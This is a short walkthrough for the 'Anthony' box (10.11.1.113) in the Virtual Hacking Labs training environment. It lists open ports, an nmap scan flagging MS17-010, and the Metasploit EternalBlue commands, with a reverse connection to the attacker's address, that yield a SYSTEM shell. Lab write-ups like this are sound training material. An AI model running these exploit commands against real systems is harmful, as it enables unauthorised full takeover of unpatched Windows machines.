Anthony — VHL (10.11.1.113)

80/tcp open http Apache 2.2.22 (Win32) PHP 5.4.3

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#os:linux#tech:rce#tech:cve

Anthony — VHL (10.11.1.113)

Port Enumeration (10.11.1.113)

🐺 howlsec@kalishell

$80/tcp   open  http          Apache 2.2.22 (Win32) PHP 5.4.3
$139/445  open  smb           Windows 7 Professional SP1 (ANTHONY-PC)
$3389/tcp open  ms-wbt-server RDP

nmap --script smb-vuln* flags the host VULNERABLE to MS17-010 (CVE-2017-0143).

Foothold: EternalBlue (MS17-010) -> SYSTEM

SMBv1 RCE gives NT AUTHORITY\SYSTEM directly (also doable with 3ndG4me/AutoBlue-MS17-010):

🐺 howlsec@kalishell

$msfconsole -q
$use exploit/windows/smb/ms17_010_eternalblue
$set RHOSTS 10.11.1.113 ; set LHOST 172.16.1.2 ; set LPORT 443 ; run
$# ETERNALBLUE overwrite completed successfully -> meterpreter as SYSTEM
$meterpreter > shell